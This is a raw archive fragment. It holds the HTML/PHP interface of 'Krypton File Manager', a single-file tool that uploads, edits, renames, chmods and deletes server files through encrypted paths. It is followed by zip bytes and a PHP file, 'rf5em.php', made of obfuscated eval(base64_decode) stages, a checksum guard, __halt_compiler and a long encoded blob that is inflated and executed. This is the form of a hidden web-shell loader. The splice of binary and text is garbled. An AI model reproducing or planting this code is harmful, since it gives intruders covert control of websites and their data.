            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>PK};m\�*I�X�X�	rf5em.phpnu�[���<?php /*  Checksum: eb19a3b779ba8db245db7b2e79ebfa5ddebe499a797b7d8bd2111257d6555e3ba003ed79a6e5df1746328783be963459047320274e2c0b9f3efe71f21724193e */ eval(base64_decode("JE9PT08wT09PMDA9ZmlsZShwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXykpOwppZihwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXyk9PV9fRklMRV9fIG9yCnByZWdfcmVwbGFjZSgiQFwoLipcKC4qJEAiLCIiLF9fTElORV9fKSAhPSAzKWRpZSgiPHR0PkVSUk9SIik7"));eval(base64_decode("ZnVuY3Rpb24gT08wMDBPTzAwTygkYSwkYil7JGM9YXJyYXkoODc4LDM0MCwxMjgsMTAxNjU0KTtpZigkYj09NDUpeyRkPXN1YnN0cigkYSwkY1swXSskY1sxXSwkY1syXSk7fWVsc2VpZigkYj09MTMzKXskZD1zdWJzdHIoJGEsJGNbMF0sJGNbMV0pO31lbHNlaWYoJGI9PTg1KXskZD10cmltKHN1YnN0cigkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO000OO00O($OOOO0OOO00[0],133)));eval(O0000OOO0O(OO000OO00O($OOOO0OOO00[0],85),OO000OO00O($OOOO0OOO00[0],45),$OOOO0OOO00));__halt_compiler();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